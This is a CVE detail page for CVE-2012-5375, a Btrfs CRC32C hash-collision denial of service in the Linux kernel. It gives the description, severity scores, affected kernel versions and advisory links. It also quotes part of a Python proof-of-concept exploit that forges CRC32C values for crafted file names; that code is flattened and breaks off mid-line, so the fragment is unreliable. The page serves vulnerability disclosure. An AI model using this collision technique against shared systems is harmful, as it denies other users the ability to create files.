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CVE-2012-5375 : Detail

CVE-2012-5375

A02-Cryptographic Failures
0.05%V3
Local
2013-02-18 10:00 +00:00
2014-01-02 13:57 +00:00
CVE.org
NVD

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Descriptions

The CRC32C feature in the Btrfs implementation in the Linux kernel before 3.8-rc1 allows local users to cause a denial of service (prevention of file creation) by leveraging the ability to write to a directory important to the victim, and creating a file with a crafted name that is associated with a specific CRC32C hash value.

Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-310 Category : Cryptographic Issues
Weaknesses in this category are related to the design and implementation of data confidentiality and integrity. Frequently these deal with the use of encoding techniques, encryption libraries, and hashing algorithms. The weaknesses in this category could lead to a degradation of the quality data if they are not addressed.

Metrics

Metric Score Severity CVSS Vector Source
V2 4 AV:L/AC:H/Au:N/C:N/I:N/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 38132

Publication date : 2012-12-12 23:00 +00:00
Author : Pascal Junod
EDB Verified : Yes

source: https://www.securityfocus.com/bid/56939/info The Linux kernel is prone to a local denial-of-service vulnerability. Attackers can exploit this issue to cause an infinite loop, resulting in a denial-of-service condition. #!/usr/bin/env python ## Borrows code from """Calculate and manipulate CRC32. http://en.wikipedia.org/wiki/Cyclic_redundancy_check -- StalkR """ ## See https://github.com/StalkR/misc/blob/master/crypto/crc32.py import struct import sys import os # Polynoms in reversed notation POLYNOMS = { 'CRC-32-IEEE': 0xedb88320, # 802.3 'CRC-32C': 0x82F63B78, # Castagnoli 'CRC-32K': 0xEB31D82E, # Koopman 'CRC-32Q': 0xD5828281, } class CRC32(object): """A class to calculate and manipulate CRC32. Use one instance per type of polynom you want to use. Use calc() to calculate a crc32. Use forge() to forge crc32 by adding 4 bytes anywhere. """ def __init__(self, type="CRC-32C"): if type not in POLYNOMS: raise Error("Unknown polynom. %s" % type) self.polynom = POLYNOMS[type] self.table, self.reverse = [0]*256, [0]*256 self._build_tables() def _build_tables(self): for i in range(256): fwd = i rev = i << 24 for j in range(8, 0, -1): # build normal table if (fwd & 1) == 1: fwd = (fwd >> 1) ^ self.polynom else: fwd >>= 1 self.table[i] = fwd & 0xffffffff # build reverse table =) if rev & 0x80000000 == 0x80000000: rev = ((rev ^ self.polynom) << 1) | 1 else: rev <<= 1 rev &= 0xffffffff self.reverse[i] = rev def calc(self, s): """Calculate crc32 of a string. Same crc32 as in (binascii.crc32)&0xffffffff. """ crc = 0xffffffff for c in s: crc = (crc >> 8) ^ self.table[(crc ^ ord(c)) & 0xff] return crc^0xffffffff def forge(self, wanted_crc, s, pos=None): """Forge crc32 of a string by adding 4 bytes at position pos.""" if pos is None: pos = len(s) # forward calculation of CRC up to pos, sets current forward CRC state fwd_crc = 0xffffffff for c in s[:pos]: fwd_crc = (fwd_crc >> 8) ^ self.table[(fwd_crc ^ ord(c)) & 0xff] # backward calculation of CRC up to pos, sets wanted backward CRC state bkd_crc = wanted_crc^0xffffffff for c in s[pos:][::-1]: bkd_crc = ((bkd_crc << 8)&0xffffffff) ^ self.reverse[bkd_crc >> 24] ^ ord(c) # deduce the 4 bytes we need to insert for c in struct.pack('> 24] ^ ord(c) res = s[:pos] + struct.pack('

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version To (including) 3.8

Linux>>Linux_kernel >> Version 3.0

Linux>>Linux_kernel >> Version 3.0

Linux>>Linux_kernel >> Version 3.0

Linux>>Linux_kernel >> Version 3.0

Linux>>Linux_kernel >> Version 3.0

Linux>>Linux_kernel >> Version 3.0

Linux>>Linux_kernel >> Version 3.0

Linux>>Linux_kernel >> Version 3.0.1

Linux>>Linux_kernel >> Version 3.0.2

Linux>>Linux_kernel >> Version 3.0.3

Linux>>Linux_kernel >> Version 3.0.4

Linux>>Linux_kernel >> Version 3.0.5

Linux>>Linux_kernel >> Version 3.0.6

Linux>>Linux_kernel >> Version 3.0.7

Linux>>Linux_kernel >> Version 3.0.8

Linux>>Linux_kernel >> Version 3.0.9

Linux>>Linux_kernel >> Version 3.0.10

Linux>>Linux_kernel >> Version 3.0.11

Linux>>Linux_kernel >> Version 3.0.12

Linux>>Linux_kernel >> Version 3.0.13

Linux>>Linux_kernel >> Version 3.0.14

Linux>>Linux_kernel >> Version 3.0.15

Linux>>Linux_kernel >> Version 3.0.16

Linux>>Linux_kernel >> Version 3.0.17

Linux>>Linux_kernel >> Version 3.0.18

Linux>>Linux_kernel >> Version 3.0.19

Linux>>Linux_kernel >> Version 3.0.20

Linux>>Linux_kernel >> Version 3.0.21

Linux>>Linux_kernel >> Version 3.0.22

Linux>>Linux_kernel >> Version 3.0.23

Linux>>Linux_kernel >> Version 3.0.24

Linux>>Linux_kernel >> Version 3.0.25

Linux>>Linux_kernel >> Version 3.0.26

Linux>>Linux_kernel >> Version 3.0.27

Linux>>Linux_kernel >> Version 3.0.28

Linux>>Linux_kernel >> Version 3.0.29

Linux>>Linux_kernel >> Version 3.0.30

Linux>>Linux_kernel >> Version 3.0.31

Linux>>Linux_kernel >> Version 3.0.32

Linux>>Linux_kernel >> Version 3.0.33

Linux>>Linux_kernel >> Version 3.0.34

Linux>>Linux_kernel >> Version 3.0.35

Linux>>Linux_kernel >> Version 3.0.36

Linux>>Linux_kernel >> Version 3.0.37

Linux>>Linux_kernel >> Version 3.0.38

Linux>>Linux_kernel >> Version 3.0.39

Linux>>Linux_kernel >> Version 3.0.40

Linux>>Linux_kernel >> Version 3.0.41

Linux>>Linux_kernel >> Version 3.0.42

Linux>>Linux_kernel >> Version 3.0.43

Linux>>Linux_kernel >> Version 3.0.44

Linux>>Linux_kernel >> Version 3.1

Linux>>Linux_kernel >> Version 3.1

Linux>>Linux_kernel >> Version 3.1

Linux>>Linux_kernel >> Version 3.1

Linux>>Linux_kernel >> Version 3.1

Linux>>Linux_kernel >> Version 3.1.1

Linux>>Linux_kernel >> Version 3.1.2

Linux>>Linux_kernel >> Version 3.1.3

Linux>>Linux_kernel >> Version 3.1.4

Linux>>Linux_kernel >> Version 3.1.5

Linux>>Linux_kernel >> Version 3.1.6

Linux>>Linux_kernel >> Version 3.1.7

Linux>>Linux_kernel >> Version 3.1.8

Linux>>Linux_kernel >> Version 3.1.9

Linux>>Linux_kernel >> Version 3.1.10

Linux>>Linux_kernel >> Version 3.2

Linux>>Linux_kernel >> Version 3.2

Linux>>Linux_kernel >> Version 3.2

Linux>>Linux_kernel >> Version 3.2

Linux>>Linux_kernel >> Version 3.2

Linux>>Linux_kernel >> Version 3.2

Linux>>Linux_kernel >> Version 3.2

Linux>>Linux_kernel >> Version 3.2.1

Linux>>Linux_kernel >> Version 3.2.2

Linux>>Linux_kernel >> Version 3.2.3

Linux>>Linux_kernel >> Version 3.2.4

Linux>>Linux_kernel >> Version 3.2.5

Linux>>Linux_kernel >> Version 3.2.6

Linux>>Linux_kernel >> Version 3.2.7

Linux>>Linux_kernel >> Version 3.2.8

Linux>>Linux_kernel >> Version 3.2.9

Linux>>Linux_kernel >> Version 3.2.10

Linux>>Linux_kernel >> Version 3.2.11

Linux>>Linux_kernel >> Version 3.2.12

Linux>>Linux_kernel >> Version 3.2.13

Linux>>Linux_kernel >> Version 3.2.14

Linux>>Linux_kernel >> Version 3.2.15

Linux>>Linux_kernel >> Version 3.2.16

Linux>>Linux_kernel >> Version 3.2.17

Linux>>Linux_kernel >> Version 3.2.18

Linux>>Linux_kernel >> Version 3.2.19

Linux>>Linux_kernel >> Version 3.2.20

Linux>>Linux_kernel >> Version 3.2.21

Linux>>Linux_kernel >> Version 3.2.22

Linux>>Linux_kernel >> Version 3.2.23

Linux>>Linux_kernel >> Version 3.2.24

Linux>>Linux_kernel >> Version 3.2.25

Linux>>Linux_kernel >> Version 3.2.26

Linux>>Linux_kernel >> Version 3.2.27

Linux>>Linux_kernel >> Version 3.2.28

Linux>>Linux_kernel >> Version 3.2.29

Linux>>Linux_kernel >> Version 3.2.30

Linux>>Linux_kernel >> Version 3.3

Linux>>Linux_kernel >> Version 3.3

Linux>>Linux_kernel >> Version 3.3

Linux>>Linux_kernel >> Version 3.3

Linux>>Linux_kernel >> Version 3.3

Linux>>Linux_kernel >> Version 3.3

Linux>>Linux_kernel >> Version 3.3

Linux>>Linux_kernel >> Version 3.3

Linux>>Linux_kernel >> Version 3.3.1

Linux>>Linux_kernel >> Version 3.3.2

Linux>>Linux_kernel >> Version 3.3.3

Linux>>Linux_kernel >> Version 3.3.4

Linux>>Linux_kernel >> Version 3.3.5

Linux>>Linux_kernel >> Version 3.3.6

Linux>>Linux_kernel >> Version 3.3.7

Linux>>Linux_kernel >> Version 3.3.8

Linux>>Linux_kernel >> Version 3.4

Linux>>Linux_kernel >> Version 3.4

Linux>>Linux_kernel >> Version 3.4

Linux>>Linux_kernel >> Version 3.4

Linux>>Linux_kernel >> Version 3.4

Linux>>Linux_kernel >> Version 3.4

Linux>>Linux_kernel >> Version 3.4

Linux>>Linux_kernel >> Version 3.4

Linux>>Linux_kernel >> Version 3.4.1

Linux>>Linux_kernel >> Version 3.4.2

Linux>>Linux_kernel >> Version 3.4.3

Linux>>Linux_kernel >> Version 3.4.4

Linux>>Linux_kernel >> Version 3.4.5

Linux>>Linux_kernel >> Version 3.4.6

Linux>>Linux_kernel >> Version 3.4.7

Linux>>Linux_kernel >> Version 3.4.8

Linux>>Linux_kernel >> Version 3.4.9

Linux>>Linux_kernel >> Version 3.4.10

Linux>>Linux_kernel >> Version 3.4.11

Linux>>Linux_kernel >> Version 3.4.12

Linux>>Linux_kernel >> Version 3.4.13

Linux>>Linux_kernel >> Version 3.4.14

Linux>>Linux_kernel >> Version 3.4.15

Linux>>Linux_kernel >> Version 3.4.16

Linux>>Linux_kernel >> Version 3.4.17

Linux>>Linux_kernel >> Version 3.4.18

Linux>>Linux_kernel >> Version 3.4.19

Linux>>Linux_kernel >> Version 3.4.20

Linux>>Linux_kernel >> Version 3.4.21

Linux>>Linux_kernel >> Version 3.4.22

Linux>>Linux_kernel >> Version 3.4.23

Linux>>Linux_kernel >> Version 3.4.24

Linux>>Linux_kernel >> Version 3.5.1

Linux>>Linux_kernel >> Version 3.5.2

Linux>>Linux_kernel >> Version 3.5.3

Linux>>Linux_kernel >> Version 3.5.4

Linux>>Linux_kernel >> Version 3.5.5

Linux>>Linux_kernel >> Version 3.5.6

Linux>>Linux_kernel >> Version 3.5.7

Linux>>Linux_kernel >> Version 3.6.9

Linux>>Linux_kernel >> Version 3.6.10

Linux>>Linux_kernel >> Version 3.6.11

Linux>>Linux_kernel >> Version 3.7

Linux>>Linux_kernel >> Version 3.7.1

Linux>>Linux_kernel >> Version 3.7.2

Linux>>Linux_kernel >> Version 3.7.3

Linux>>Linux_kernel >> Version 3.7.4

Linux>>Linux_kernel >> Version 3.7.5

Linux>>Linux_kernel >> Version 3.7.6

Linux>>Linux_kernel >> Version 3.7.7

Linux>>Linux_kernel >> Version 3.7.8

Linux>>Linux_kernel >> Version 3.7.9

References

http://www.ubuntu.com/usn/USN-1944-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.ubuntu.com/usn/USN-1945-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.ubuntu.com/usn/USN-2017-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.ubuntu.com/usn/USN-1947-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://openwall.com/lists/oss-security/2012/12/13/20
Tags : mailing-list, x_refsource_MLIST
http://www.ubuntu.com/usn/USN-1946-1
Tags : vendor-advisory, x_refsource_UBUNTU

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